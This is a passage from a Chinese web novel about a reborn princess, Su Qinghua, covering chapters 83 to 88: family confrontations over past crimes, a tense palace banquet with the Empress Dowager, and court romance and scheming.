《惨死重生后我竟被封公主》 第八十三章 自负因果 苏清华见状,急忙伸手拉住苏赫,说:“大哥,别听她胡说,她自私自利,心思肮脏,又怎会明白,真正的亲情是什么?珍姨娘为了救毫无血缘的母亲,都会不顾生死,她作为你的生身之母,又怎会弃你不顾,除非她是身不由己!” 苏赫经过她提醒,猛然醒悟过来,说:“你想让我助你解脱,甚至想临死之前,让背上杀害祖母的罪名?你以为这样的话,爵位仍会传给苏喆吗?你若真这么想,恐怕你要失望了,我非但不会杀你,还会请最好的大夫救你,让你眼睁睁的看着,看着我如何坐稳这爵位,早晚有一天,你会为你当年所作所为忏悔!” 孙氏见希望落空,惨然一笑,“我有什么可忏悔的,慕氏之死,全是张氏一族设计,我也是受害者,至于珍姨娘,她并没有死在我手上,我清清白白,即使到了佛祖面前,我也可以问心无愧的说,我无罪!” “呵。”苏清华不屑一笑,说:“你向来自私又懦弱,任何罪责都会推到他人身上,但有一件事,你却注定要自负因果。” 苏清华见孙氏一脸不以为然,继续说道:“祖父为人光明磊落,胸有大才,而你心胸狭隘,胸无点墨,你若是早点认清自己,将苏洵交给祖父教导,他如今不说像祖父一样,受万人敬仰,必也可成为国之栋梁。可你目光短浅,小时候不舍得他吃苦,长大后又自作主张,害死我母亲,引张彩蝶这个豺狼入门,如今苏洵被张家利用,身陷囹圄,被皇上钦定不忠不孝,他如今一切的果,都可以在你身上找到因。” 孙氏闻言,头猛烈的摇了起来,她看着苏清华,说:“你胡说,我最爱的就是洵儿,我怎么会害他,他如今一切,明明是你们两个丧门星害得。” 苏清华嘴角含笑,不屑的看着孙氏,说:“你承认也好,不承认也罢,俗话说,自作孽,不可活,你们母子二人,作孽太多,一个躺在这病床日日不得安宁,一个坐在那牢笼夜夜不能安睡,正是你们应得的报应。” 孙氏脸上,立刻露出慌张之色,焦急的说:“你什么意思?你不是答应我,只要我说出真相,便将洵儿救出牢笼?” “我确实答应会救他,可我并没有说要立刻救他,你放心,等你快不行的时候,我会想办法救他出来,只是到时,他还愿不愿意,见你最后一面,那就看你的造化了。” 语毕,苏清华便站起身来,准备离去。 “啊......你们两个该死,我诅咒你们两个,不得好死。”孙氏大声咒骂着。 苏赫刚要出手,苏清华拉住他,说:“不过是垂死挣扎而已,她骂的越是大声,越说明她心虚了。” 语毕,苏清华拉着苏赫,走出了房间。 走到院子,苏赫大声吩咐:“高嬷嬷,祖母生病期间,为了防止她操劳过度,务必将这个院子看紧了,不许任何人惊扰祖母,另外,给祖母用最好的药,务必保证她的生命无虞。” 随后两人便离开了这个院子,回到主院。 坐定之后,苏赫问苏清华:“妹妹,她刚才说的话,可信吗?” “八九不离十,她出身卑微,忽然来到这繁华地,更是自行惭愧,所以她内心早就嫉妒母亲,张家只稍微一挑唆,她便上了钩。 只是那张家到底为何看上苏洵,却是一个谜题,说什么一见钟情,我是不信的,张彩蝶不像那种为情所困的人,张家当年主动上门,必定是有其他图谋,而且很可能跟祖父之死有关。 此事说不定孙氏也猜出一二,否则以张彩蝶的性格,应该不会对她如此敬重,除非孙氏手里有她的把柄,而且还是致命的把柄。 至于珍姨娘离开苏府后,到底发生了什么,恐怕孙氏真不知晓,还有那孔嬷嬷,母亲手札中,多次提及此人,她对母亲极其忠心,母亲对她也极为信任。 我相信母亲的眼光,孔嬷嬷必不是那种贪生怕死,独自逃命之人,她离开苏府之后,再未返回,必定另有缘故,至于真相到底如何,恐怕只有找到她,才能知晓答案。” 苏赫眼角含泪,说:“我有一种感觉,珍姨娘已凶多吉少,只是她尸身何处,我却无从知晓,我生为人子,不能让她入土为安,实在是愧疚。” “大哥,母亲与珍姨娘最大的心愿,必定是希望我们过的好,所以无论她们是生是死,我们都要好好活着。” 苏赫握住苏清华的手,说:“妹妹,你放心,从今往后,我必定会奋发图强,重振苏家,这样的话,不止可以告慰逝者,也可以成为你的坚强后盾。” 苏清华见苏赫如此,内心欢喜,说:“大哥能想明白便好,孙氏的身体已废,估计也闹不出什么风浪,至于苏洵,便先让他在牢里待一阵,一是可以让他长长记性,二是方便你尽快掌控苏府。” “我明白,苏府这里妹妹不必操心,只是你务必小心张家报复。” “我也正想提醒你,张家表面看似全身而退,实则损失惨重,除了那几十暗卫,最重要的是,张之熊失去了皇上的信任,以他的性格,必不会轻易放过我们。” “他张之熊如此嚣张,不过仗着兵权在手,可此次之后,皇上必定会想办法,找人替代他,皇上让我当御前侍卫,想必便是要考察与我,我必会抓住机会,得到皇上信任,趁机削弱张之熊的兵权。” 两人商议良久,待到傍晚,苏清华才返回公主府。 刚回府中,李嬷嬷便来汇报:“公主,宫里来了消息,三日后,太后便要祈福完毕,返回皇宫,届时会宫内会举办一场梅花宴,为太后接风宴,宫里的请帖已送到府上。” “知道了,你下去吧。” 待李嬷嬷退下,苏清华倚靠在床榻一角,独自沉思。 当今太后姓周并非皇上生母,她本是先皇皇后,因膝下无子,便将当今圣上养在膝下,只是圣上转到她名下之时,已然十岁有余,所以二人感情并不深厚。 不过,赵阳向来以孝治天下,赵阳帝对周太后甚是敬重,除了不让她过问政事,其他方面,都是给予最高礼遇。 上一世,她未见过太后,太后跟她也无直接的仇怨,可以说是无任何瓜葛。 即请帖已送到府上,她也没有拒绝的道理,恰巧近日无事,就当去散散心罢了。 第八十四章 凤凰?孔雀! 三日后,苏清华穿戴整齐,带着李嬷嬷跟翠竹,乘着马车来到皇宫。 三人随着引路的宫女,很快便来到举办宴席的万寿殿,进去便瞧见一个熟悉的身影,正是多日未见的苏清瑶。 苏清瑶见到她,本因可以见到太子而喜悦的脸色,立刻垮了下来,眼神宛若一把尖刀刺来。 苏清华视若无睹,找了个幽静位置坐下。 大殿内除了宫人之外,还有京都各家族的夫人跟小姐,她们都安静的坐在座位上等待。 大约一盏茶后,太后方姗姗来迟。她后面除了随侍的宫女太监,还跟着一个妙龄少女,那少女容貌清秀,眼睛里却带着一股清傲。 “太后万福,太后娘娘千岁,千千岁。” 见到太后出来,大殿内众人,立刻起身,纷纷跪拜问安。 “大胆,下面站着的是何人,见到哀家为何不跪?” 苏清华站在大殿一角,眉头轻蹙,抬头望向上首的周太后。 周太后身着一袭明黄色的朝服,上面绣着精美的祥云图案,丝线闪烁着金色的光芒,嘴唇微微上扬,似笑非笑,给人一种不怒自威的感觉。 跪在地上的翠竹见状,急忙替苏清华解释:“启禀太后,这是清华公主,皇上曾下过命令,公主享有见任何人,都不用跪拜的特权。” “大胆奴才,我跟你主子说话,何时轮到你插嘴,来人啊,给我掌嘴。”太后闻言,脸上的不悦并没有缓解,反而严重了几分。 语毕,从太后身后出来一位嬷嬷,眼神不善的朝着翠竹走来。 “慢着!”苏清华及时阻止那嬷嬷,然后看向太后,说:“太后娘娘,我这丫鬟年纪幼小,又是第一次进宫,她护住心切,有冒犯之处,还请太后见谅。”苏清华站在那里,眼神微敛,语气不急不慢的说道。 苏清华心想:我与周太后并无仇怨,看在她年长的份上,暂时给她个面子,姿态稍放低一点,将这事搪塞过去便是。 周太后脸色深沉,盯着苏清华看了很久,方才说:“你便是天韶国的清华公主?” 太后语气里带着一股威压,竟像今日特意为苏清华而来。 苏清华挺直腰脊,微一颔首,答道:“不错,我便是天韶公主,苏清华!” “听说天韶有一种鸟,长着漂亮的长尾巴,赵阳人便把它认做凤凰,只可惜这种鸟,虽外表美艳,却一辈子只能在地面蹦哒,因为它虽长着翅膀,却根本不会飞,要我说,这低贱的血脉,外表再怎么艳丽,也还是低贱。” 周太后似笑非笑,看向苏清华问:“清华公主,这事你怎么看?” 周太后说的这种鸟,她前世在天韶国也见过,其实它真实的名字叫孔雀,只不过有些百姓,觉得孔雀很漂亮,便称其为凤凰。 苏清华眼眸一抬,美目直视周太后,说:“凤凰此鸟,从未有人见过实物。至于书中的描写,也不过是美好的想象。 至于会飞的鸟,我倒是知道不少,其中有一种鸟,名叫雨燕,它只喜欢飞在云端,嫌弃大地尘土肮脏,会脏了它的羽毛,天长日久,它的脚逐渐退化,后来即便它想落地,也是不可能了。因此它一生只有一次落地的机会,那便是死亡后的坠落。 在我看来,会飞的鸟不一定高贵,不会飞的鸟,可能活的比会飞的鸟还自在。 无论如何,凡是鸟类,终究逃不过一死,活着的时候飞的再高,死了还是需要,大地不计前嫌的接纳它。” 周太后手重重的往桌子上一拍,大喊:“放肆,你竟敢咒我死?难道你仗着天韶国公主身份,便敢在我赵阳无法无天?” 苏清华见周太后胡乱攀咬,并不恐慌,淡淡的回应:“太后娘娘误会了,我们一直在讨论的不是鸟嘛?难不成太后刚刚,说的不止是鸟?” “呵呵呵。”周太后闻言,非但没恼,反而笑出声来:“苏家的儿女,果然是不同凡响,一个从苏家族籍,转入他国国籍,一个父亲还活着,便继承了爵位,不简单呀,不简单。” 苏清瑶见苏清华吃瘪,心里痛快,附和道:“清华公主确实不简单,便是父亲见了,都要向她下跪的。” 周太后净是惊讶之色,问:“哦,竟有此事,他毕竟是长辈,如今见了儿女,竟也得下跪不成?” 苏清遥一脸嘲讽,说:“是呀,清华公主可亲口说了,见到公主不跪,是大不敬之罪,便是祖母身体不适,也得强撑着行礼呢。” 此话一出,大殿内一片惊呼声。 “没想到这清华公主竟如此猖狂!” “是呀,毕竟是做儿女的,她这么做,就不怕折寿嘛?” “也不知她哪来的狗屎运,竟被天韶太子选上,否则的话,都城之内,谁人认识她苏清华?” 议论声起,有不屑的,也有嫉妒的,甚至有羡慕的。 苏清华不理会众人,瞥了一眼苏清瑶,说:“妹妹住在张家多日,竟也知祖母身体不适,只是既然知道,不知为何,却从未回家探望过她?我记得原来,祖母可是最心疼你的。” 苏清瑶不由脸色一变,那日舅舅将母亲接回张家,顺便将她跟弟弟也接了过去,次日圣旨便下达苏家,废除苏洵,立苏赫为靖远伯。 如今苏家掌家的是那苏赫,她们若是现在回去,岂不是任其磋磨? “我虽记挂祖母,可母亲最近也身体不适,况且祖母身为苏家长辈,难道还有人敢不用心照顾?若是祖母出了什么差池,我必会替她讨回公道。” 苏清瑶说的大义凛然,其他人也不由跟她同仇敌忾,一脸气愤的看着苏清华。 苏清华见状,微微一笑,说:“大哥即继承了爵位,自然会管好府中一切,祖母身体更是重中之重,大哥已下令,给祖母用最好的药,务必保证她性命无虞。” 众人见苏清华如此坚定,脸上毫无异色,转而站在她这边,议论道:“见到公主行礼,本就是礼仪规矩,可在大是大非上,她还是认得清的。” 周太后见风向逆转,心中不悦,她今日就是想打压一下,这苏清华的嚣张气焰。 她睨了苏清华一眼,开口道:“清华公主倒是巧言善辩,怪不得会被天韶太子看上,只是,我们赵阳向来强调,女子要贞静娴淑,女德柔顺,否则刚则易折,我劝清华公主,还是收敛一二为妙。” “多谢太后提醒。”苏清华语气淡淡,听不出喜怒,好似真将周太后的劝导,听了进去。 周太后闻言,脸上得意之色尽显,心里暗思:不管你什么来头,到了我这里,都得乖乖收起逆鳞。 苏清华在众人注视下,举止端庄大方,慢慢的坐到位置上,拿起茶杯喝了起来。 她刚才退让一步,并不是怕了周太后,只是口舌之争,毫无意义,不过徒增劳累。 周太后年岁已大,生活困顿无聊,喜欢找人抬杠,显示自己的优越性,她可没空闲奉陪。 “皇上驾到!” 第八十五章 不计前嫌 随着一个尖锐声音传入,一身明黄色朝服的赵阳帝,大步踏入大殿。 他的身后还跟着两人,一人是当今太子,另一人却是宋墨渊。 “皇上万岁。”殿内除了太后跟苏清华,其余人连忙行礼。 “都免礼吧,听说今日母后设宴,我特带着乾儿跟渊儿来凑凑热闹,你们不必拘谨,该做什么,继续便是。”赵阳帝满面春风,显然心情极好。 殿内众女子闻言,不由脸色微红,偷偷看向太子,苏清瑶也不例外。 可也有一人,眼神自始至终,未从宋墨渊身上移开,那人便是太后身后的少女。 苏清华注意到这一切,完全因为,那少女除了紧盯宋墨渊,时不时也会瞟她几眼,而且那眼神里满满的敌意。 “李嬷嬷,那是何人?”苏清华低声问道。 “公主,那是周小姐,太后嫡亲大哥周太尉的孙女。”李嬷嬷小心翼翼的说。 刚才太后质问的时候,本该她出来解释,可她见太后面色不虞,便没敢开口,此时她不敢再丝毫怠慢,以免苏清华事后追究。 苏清华心中明了,怪不得如此得太后恩宠,原来竟是她,周太尉之女,周玥。 “清华公主也来啦,如此甚好,你以后要常常进宫,跟太后多亲近亲近,如今天韶与赵阳一家亲,你也不必见外,若需要什么东西,尽管开口便是。”赵阳帝见到苏清华也在,立刻开口许诺。 赵阳帝暗想:如今即想对付张之熊,那苏清华跟苏赫,便可以成为他手中的刀,表面抬举苏清华,让她获得表面荣光,将来用起来也更方便。 “多谢皇上好意,只是我向来不喜热闹,跟这宫里的氛围不甚相配,还是少来的好。”苏清华暗忖:宫里不止太后对她不善,皇后也虎视眈眈,表面看似和善的皇上,对她也只有利用,这是非之地,谁愿意来谁来,她可不想来,还不如在家撸猫呢! 周太后见苏清华竟不识好歹,心里对她更加不喜,尤其是她一副清高孤傲的样子,竟跟那当年之人,有许多相似之处,想起往事,周太后心中更是不快。 只是她牙尖嘴利,想在口舌上让她服软,怕是比较难。关键她身份特殊,皇上尚且礼让三分,她即使想对付她,也不能表现的太过明显。 太后猛然想起,大皇子因何被关进宗人府来,于是故意说道:“清华公主真是爱说笑,这偌大的皇宫里,看着人多,可正经的主子,总共有几个?尤其是我这次回来,竟发现宫里更冷清了,总觉得好似少了谁似的!” “皇姑祖母,您可是觉得,少了大皇子?”周玥开口。 “对,还是玥儿知我心。”太后欣慰的拍拍周玥的手,然后问皇上:“皇上,这次回来,怎么不见大皇子了?” “亥儿前一阵犯了错,我便将他关进宗人府反省了。” 赵阳帝说完此话,眼神不由瞟了一眼苏清华,见她反应冷淡,并未十分激烈,心中安心许多。 他虽不是周太后亲生,可相处数十年,他对她还算了解,周太后主动提及此事,必是有特殊目的的。 果然,太后脸色大变,十分不满的说:“他犯了什么大错?竟然得关进宗人府圈禁?” “他在天韶使臣接风宴上,公然袭击刺杀清华公主。此事不但威胁清华公主性命,更是影响两国和平,事关国家安危,我不得不严惩大皇子。”赵阳帝解释。 太后轻哼一声,说:“清华公主,如今不是好端端的站在这里?至于两国和平,如今也已签订友好条约,亥儿身为赵阳皇族,一未杀人,二未伤人,却白白被圈禁数月,已是给足了天韶颜面,难道还不够吗?” 语毕,周太后一个威严的眼神,射向苏清华。 苏清华假装未见,仍是怡然的喝茶。 “清华公主,此事你怎么看?”赵阳帝开口,打破尴尬。 赵阳帝内心觉得,太后说的也有道理,大皇子虽行为有失,可并未造成不良后果。大皇子虽是不才,可毕竟是他亲儿,何况他膝下单薄,三皇子又十分年幼,若是可以将大皇子放出来,也可平衡太子一二。 苏清华见赵阳帝点名,仍是一脸淡然,说:“不日便是立春,此时让大皇子归家,既不耽误一年一度的春猎,也可与太后团圆。只是我还有一个提议......” “哦,什么提议?” “因我而被罚的,不止大皇子一人,还有一个在梅花寺清修的张玉鸢。即是大皇子可以归家,那张玉鸢不如也放她归家,否则只怕张大将军,不能一心为国尽忠......” 赵阳帝闻言,内心暗自揣摩,她不是一直与张家不合吗?为何忽然会帮张家,还有那张之熊,他狂妄自大,确实有可能心生不满...... 想到此赵阳帝内心不虞,张家确实不能留了,否则只怕会养虎为患! 不过渊儿说过,预想让他亡,必先让他狂...... 赵阳帝大手一挥,说:“清华公主果然心胸开阔,不但不计前嫌,还替朕分忧,来人呀,将最近新供上来的宝石取来,等会送到公主府上。” 江全立刻躬身应是,转身下去安排。 大殿之内的女子,对苏清华投来艳羡的眼光。 只短短几句话,便可得到赵阳帝的认可跟奖赏。 太后见状,脸色阴沉,看向苏清华的眼神,更加不悦。 大皇子如何被关,早有人跟她禀报过了,她焉有不知? 大皇子性格乖张,她并喜欢,她故意提及放出大皇子,本只是为了恶心苏清华。苏清华若是敢反对,她便可将心胸狭窄的头衔,趁机扣在她身上。 她没想到,苏清华非但没阻止,竟又主动要求放了张玉鸢。 这样的话,她非但得了皇上奖赏,甚至免费送给张家一个人情? 周玥见太后神色,立刻猜出她内心所想。 放出大皇子,本就是太后率先提出,如今心愿达成,她若是表现的不喜,不仅引起众人猜测,大皇子若是知道,那这恩情反而成了仇...... 周玥开口,提醒道:“皇姑祖母,您不是邀请大家来赏梅吗?此时阳光正好,我都等不及了呢。” “对,差点忘了此事,幸好玥儿及时提醒。”太后脸上终于带了笑意,说:“皇上国事繁忙,好不容易来一趟,我们母子坐下聊聊。乾儿、渊儿、玥儿,你们带着其他人,都去院子里赏梅吧。” “是。” 苏清华早就想离开此地,于是也随着众人,来到皇宫后花园。 第八十六章 玉箫之殇 后花园的梅花果然开的正盛,梅花形态各异,婀娜多姿,有的全面盛开,又如婷婷少女,端庄大方,有的含苞待放,娇小玲珑,憨态可掬。 梅花芳香浓郁,徜徉其中,不由心旷神怡,沁人心脾。 “宋哥哥,许久未见,这是我特意给你带的礼物,你如果不嫌弃......”周玥手拿一把精致的墨玉箫,递给宋墨渊。 “我嫌弃,关键是,我并不喜欢吹箫。” 宋墨渊声音冰冷,好似周玥递给他的,是穿肠的毒药。 周玥声音颤抖,小心询问:“宋哥哥,你以前不是很喜欢吹箫吗?” 这墨玉箫是她派人遍寻江南,特意给他买的,不止颜色与他相称,便是这冰冷的气质,也与他十分相似...... “我那时只是有点无聊罢了,现在甚至有点讨厌......” 宋墨渊说完,便大步离开。 周玥则呆愣在原地,他说的讨厌,到底是箫,还是人? 他竟对她如此不喜吗? 宋墨渊七八岁的时候,曾有一段时间,迷上了吹箫。 皇上舅舅国事繁忙,无人陪他的时候,他便会在母亲的宫殿,独自吹箫,周玥从小在太后宫里长大,离着长公主的宫殿不远,她被箫声吸引,便会跑过去坐着倾听。 宋墨渊见了并没有阻止,因为在他幼小的内心,有人陪着总是比独自一人好的。 后来,此事被太后发现,太后不喜长公主,因为长公主长得,很像她的生母-丽妃。 丽妃宫女出身,却因为长相妖艳,很得先帝宠爱,这也倒罢了,周太后对先帝并无情爱,真正令她生气的是,当今圣上已经过继到她名下,却内心仍是认丽妃为母。 幸好丽妃早死,赵阳帝登基之后,却仍是尊丽妃为生母皇太后,对长公主这个妹妹,更是宠爱无度。 太后不喜长公主,连带着也不喜宋墨渊,最主要的是,她不希望周玥与宋墨渊过多接触。 于是,她便派身边的王嬷嬷,故意将宋墨渊的箫摔了,还直接威胁他,要他离周玥远一点。 这件事情,宋墨渊没有告诉任何人,包括赵阳帝。 因为他当时虽年纪幼小,心里却清楚的很,周太后即敢这么做,便不怕他告状,那时候舅父刚登基不久,朝局不稳,正是需要周家支持的时候。 只是从那以后,他再也没有吹过箫...... 周玥对这件事并不知情,不过这对宋墨渊来说,周玥知不知情根本不重要,因为他从未对她有过任何心思,否则以他现在的能力,想让年纪已老,权利已空的太后同意此事,轻而易举! 至于周玥对他的心思,他也不想接受,因为...... 宋墨渊看着站在梅花之后,一脸尴尬的苏清华,心里暗想:因为他心里已经被某人占满了! 苏清华对天发誓,她真的只是碰巧路过。 见到这么尴尬的场面,她甚至比当事人还尴尬,就在她想偷偷溜走的时候,便撞上了一双哀怨又专注的眼眸。 “他这是什么眼神?”苏清华内心吐槽:“他怎么一副,想让她负责的样子?” 宋墨渊如此盯着她,苏清华忽然觉得心里毛毛的,为了掩饰心里的尴尬,苏清华故意说道:“宋公子,想要拒绝一个人,有很多种方法,如此不近人情,可有失君子风度呀!” 闻言,宋墨渊眉头紧皱,想开口解释什么,却又不知该如何开口。 她对他避之不及,他又何必多此一举,何况该如何跟她解释?难道告诉她,他的心里只有她? 这样的话,她会不会比他更不近人情,更没有君子风度? 最终,宋墨渊什么都没说,大步离开了后花园。 苏清华见他离开,立刻紧随其后,也准备离开是非之地。 “清华公主,今日之事,还请公主不要告诉别人。” 苏清华闻言回头,见周玥站立其后,眼神很是复杂,有伤心,有羞愧,甚至夹杂着一丝怨气! “周小姐,我恰巧赏梅到此,见此处梅花娇艳,便不由忘了神,至于其他的,我什么都没看见。”苏清华开口保证。 苏清华无奈叹息:问世间情为何物,只让人伤痕累累,还是清心寡欲,封情绝爱好呀。 周玥也是可怜人,只要她不主动找事,她也没有往别人伤口撒盐的习惯。 周玥只是眼神复杂的看了苏清华许久,最终没有再说话,转身离开了后花园。 苏清华已经完全失去了赏花的兴致,她刚要离开,却见苏清瑶朝着她走来。 苏清瑶眼神不甘的看着苏清华,说:“你别得意的太早,你以为你已经赢了?早晚我会让你比我现在更惨,将我失去的抢回来。” “那就等,真到了那一天,再跟我说话,如今即知道不如我,便躲远一点,否则倒霉的,只会是你自己。” “哼,我才不会认输,我舅舅是大将军,只要有他在,你永远别想打倒我们。” “再大的将军也是臣,君臣有别,若是看不清自己身份,那......” 后面的话,苏清华没有再说,她转头吩咐李嬷嬷:“你去帮我跟太后、皇上说一声,我身体不适,便先回府了。” 本只是想进宫解闷,没想到,杂乱的事情一个接着一个,苏清华的耐心已经用尽。她也不想在这皇宫,再多呆一秒。 苏清华带着翠竹,便朝着宫门走去。 苏清瑶见她想离开便离开,甚至无需亲自跟太后打招呼,内心嫉妒的很。 苏清瑶更坚定了嫁给太子的决心。只有嫁给太子,才有机会超过苏清华,将她踩在脚下,想及此,苏清瑶便沿着后花园,开始寻找太子身影。 苏清华跟翠竹出了宫门,便坐上马车,直奔公主府,李嬷嬷好不容易进宫,必定有很多要跟皇上交代,她没有等的必要。 翠竹终于等到只剩下两人的机会,忍不住问:“小姐,那周太后好似故意针对你,我们该怎么办?” “无妨,年纪大了总是喜欢找存在感,我以后少进宫便是。” 她明确的敌人就已有很多,除了苏家、张家、大皇子、太子,甚至皇上也跟她立场不同,她暂时不想与这老太婆对上。 但前提是,她不会继续作死,否则她也不在乎多费费脑子,与她周旋一二,她虽贵为太后,可她有一个致命弱点,那就是,当今皇上不是她亲生,并且皇上与她之间,并不是亲密无间的,到时候鹿死谁手,尚未可知。 第八十七章 当年之事 翠竹仍是紧皱眉头:“小姐,当初大皇子因你被关,如今太后忽然释放大皇子,大皇子出来之后,会不会对你不利?” “无妨,大皇子若是真悔过了,那先前之事便一笔勾销,他若是还敢作恶,我必让他付出更惨的代价。” 翠竹见小姐胸有成竹,才稍微放心心来。 另一边,周玥离开后花园,直接回了长寿殿。 周玥刚一现身,周太后便开口道:“这么快回来了?又被人家拒绝了?” 周玥神色紧张,眼神在大殿内快速的扫视。 “别担心,皇上已经走了,其他人也出去了,殿里只有我跟王嬷嬷。” 周玥这才稍微放心,可她毕竟是年幼的少女,脸色仍是滚烫,缓缓开口,声音小如蝇鸣:“姑祖母,你说过给我时间的。” 太后开口:“我早就跟你说了,宋墨渊并不适合你,你非要再试试,如今都撞上南墙了,难道还不想回头?” 周太后叹了口气,继续说:“我已给你十年时间,那宋墨渊眼瞎心盲,一直看不出你的好,如今你都及笄了,若是再等下去,恐怕我都看不到你成亲了。” “不会的,姑祖母,我跟你保证,若是立春之后,他还是对我...对我如此冷漠,我便听从姑祖母安排。”周玥像是下定了某种决心,坚定的说道。 周太后脸上露出喜色,说:“这才是我周家的好儿女。那宋墨渊有什么值得你喜欢的?他无心权势又性格孤寂,你若执意嫁给她,既得不到权力,又得不到爱情,这又是何苦?” 周太后清了清喉咙,继续说:“我早就告诉过你,爱情虚无缥缈,唯有权力才是实实在在的,周家现在光景如何,你也知晓,若是我哪天死了,周家也会被遗忘到角落,你若是成了太子妃,将来当了皇后,不止是你一人荣光,周家荣光也可以继续。” 周玥闻言,仍是低头不语。 王嬷嬷轻轻推了推周太后,周太后叹了口气,说:“好了,我也曾年轻过,年轻时候,谁没动过凡心?这也不是坏事,他若对你也是真心,我也不逼你,必会高高兴兴的,亲自给你下旨赐婚。” 见周玥面露喜色,周太后立刻严肃道:“你也别高兴太早,刚才你也见了,他不是不懂情爱,只是他钟情的人,刚好不是你,你的眼神一直未曾离开过他,应该早就发现,他眼神始终落在苏清华那贱人身上,这男人呀,向来是贱的很,主动送上门的,他偏偏不要,这得不到的,他反而挂在心上。” 闻言,周玥小声问道:“姑祖母,那清华公主非但容貌绝佳,才智也是非凡,您为何不喜欢她?” “哼。”周太后冷哼一声:“一个外族的低贱女子,也配得到我的喜欢?” “可她并不是真的天韶国人......” “只要跟天韶沾上边,便已经足够令我厌恶。” 周太后脸上的厌恶不像是假,倒好似有一种深恶痛绝的感觉。 “姑祖母,难道你讨厌她,是因为不讨厌天韶?”周玥好奇问道。 周太后语气十分不耐:“好了,这件事跟你无关,你只需记得,若是过了立春,那宋墨渊主动向我求娶你,我便会想办法,让你做太子妃......” 周太后虽脾气一般,但这样不耐的对周玥,她却是第一次遇见。 她不敢再问,低声回了一句:“是,那我先回家了。” “嗯,去吧。” 待周玥离开,大殿只剩下周太后跟王嬷嬷,王嬷嬷才小心开口:“太后娘娘,恕老奴多嘴,您不喜清华公主,难道是因为当年之事?” 提起当年之事,周太后眼里满是不甘,她深深叹了口气,说:“王嬷嬷,你从小便陪在我身边,对我最是了解,我们之间名为主仆,其实早已不分你我,当年那天韶太子,如今的天韶太上皇你也见过,你看那苏清华跟他是不是很像?” 王嬷嬷回想一下,开口道:“本来老奴未曾发觉,如今经过太后提醒,好像她确实与那天韶太上皇,眉眼之间很是相似,只是她与天韶并无实际血缘关系,天下竟有如此巧合之事?” 周太后道:“怪不得那天韶太子会认她做义妹, 又赠送六座城池,想是也因为她的长相。所以今日一见她,我便忍不住想起当年之辱,所以才会针对她一番,只是我没想到,她不止长相与那人相似,性格也跟他一样讨厌。” 周太后一直将当年之事,当做奇耻大辱,特别是当了太后之后,更将这件事当做人生最大错误。 王嬷嬷答道:“她性子确实张狂了点,不过她身份特殊,做事如此张狂,必会自断后路,太后又何必降低身价,跟她一个黄毛丫头相争?” 太后叹口气,说:“我今日故意针对她,不止是因为我讨厌她,还有一个更重要的原因。” “请太后娘娘赐教。” “我虽是这赵阳至高无上的太后,可皇上并不是我亲生,他表面给我无限荣光,可实际却暗中慢慢架空我的权力。他刚登基的时候,我周家在朝中不说是一言九鼎,可也无人敢看低,如今你再看看,周家除了表面风光,还剩下什么?周家的路不能就此断了,我必须在死之前,给周家铺好路。” “有太后为周家深谋远虑,周家必会重新崛起。” “此事说来简单,可实际皇上一直在防我,在防周家,我想让周家重获荣耀,只有一个办法,便是让玥儿跟我一样,成为这赵阳的皇后,然后再生下亲子,将来含有周家血脉的皇子登基,我周家的荣耀必会千秋万代......” “恕老奴愚昧,此事又跟清华公主有什么关系?” “玥儿与我极像,才貌谋略皆是一等一的,可她也如我当年一般,为情所困,竟真的对那宋墨渊动了心,刚才大殿之上,我看那宋墨渊好似对苏清华有情,若是利用此事,激起玥儿的斗志,让她断情绝爱,只一心为周家筹谋,我相信以玥儿的聪慧,必可担此大任。” “那您放出大皇子,又是为何?”王嬷嬷不解。 第八十八章 进宫求娶 “据我观察,宋墨渊对苏清华只是一厢情愿,若是不找人刺激一下,只怕他们之间会进展缓慢,这样的话,玥儿又如何会,对宋墨渊彻底死心?我放出大皇子,趁机搅乱这趟浑水,宋墨渊对苏清华发起攻势,玥儿也会更快看清现实。” “只是这样的话,岂不是给小小姐找了一个强劲的对手?” “以我对玥儿的了解,她性格坚韧,必会遇强则强,有了苏清华这个对手,玥儿必会快速成长。” 王嬷嬷经过太后指点,终于恍然大悟。 立刻躬身夸赞道:“太后英明,那清华公主就是小小姐的磨刀石,周家有您,必会荣光百年。” 周太后听到夸赞,面上并无喜色,反而哀伤道:“希望玥儿早日挣脱情劫,知道爱情只是虚无的,而权力才是最重要的。” 王嬷嬷躬身,凑在周太后耳边,小声道:“太后娘娘放心,那宋公子自从被我警告之后,便再也不敢接近小小姐。刚才在后花园,我偷偷观察,他对小小姐只有冷漠,小小姐向来高傲,最多再碰一次壁,便会彻底死心。” “嗯,有你在,我放心,只剩这最后的日子,我们也不能大意,你务必看好二人,不让他们有任何机会。” “是。”王嬷嬷道:“今日不早了,我让那些小姐,自行散去便是,您还是早点休息吧。” “嗯,也罢,今日只能如此了,剩下的便等大皇子出来再说吧。” 王嬷嬷亲自扶着周太后,返回寝宫,随后,亲自到后花园,让各家小姐们自行离开。 待安排好一切,她也累的不轻,可她不敢休息,又返回太后寝宫盯着,如今太后年纪大了,更是离不开她。 她看着太后熟睡的背影,忍不住叹息:太后竟还未放下当年之事。 当年天韶国的先帝,还是太子的时候,也曾来过赵阳都城。 太后对他一见钟情,主动带他领略赵阳风情,甚至主动表白,说为了他愿意背井离乡。 可天韶先帝却说,自己早已娶妻,太后当场便说可以当妾,太后退让至此,天韶先帝仍是拒绝了她,太后恼羞成怒,气急之下,便嫁给了赵阳先帝。 赵阳先帝当时在众皇子当中毫不起眼,太后嫁给他完全是伤心过度,自暴自弃。 可没想到,太后因祸得福,其他皇子互相争夺倾轧,最后却是先帝,登上了帝位。 太后也因此成了皇后,再后来她过继当今圣上,成了太后。 王嬷嬷本以为,太后一生享尽荣华,必已忘记那些前尘往事,没想到,她竟还记恨在心。 不管怎样,她是太后的丫鬟,太后做什么,她只有支持的份,毕竟她也是有儿女的人,她的儿女如今已可以不当奴婢,这一切都是太后的恩典。 所以即便太后让她自杀,她也会毫不犹豫! 待到腊月二十三,也是传统小年那一天。 赵阳帝亲下旨意,放大皇子归家,当然也免了张玉鸢,继续在寺庙清修。 张之熊亲自进宫,叩谢隆恩,归家之后,便又准备了厚礼,送到了苏清华的公主府。 李嬷嬷将此事告知苏清华时,她正与秦静姝玩乐,她只点了点头,便没再过问。 这本就是她与王若兰的交易,她即送来了有用消息,她让张玉鸳平安归家,也算信守承诺。 至于张之熊送礼,必是演给皇上看的,她也不会当真。 “小姐,碧山来了,说有急事求见公主。”翠竹脚步匆匆的进屋来报。 “让他进来吧。”苏清华说完,又看向李嬷嬷,说:“李嬷嬷,你先退下吧。” 李嬷嬷低头应是,碧山是宋公子的人,皇上曾说过,让她不要探听他的事。 碧山行色匆匆,李嬷嬷刚走到门口,他便随着翠竹进来了。 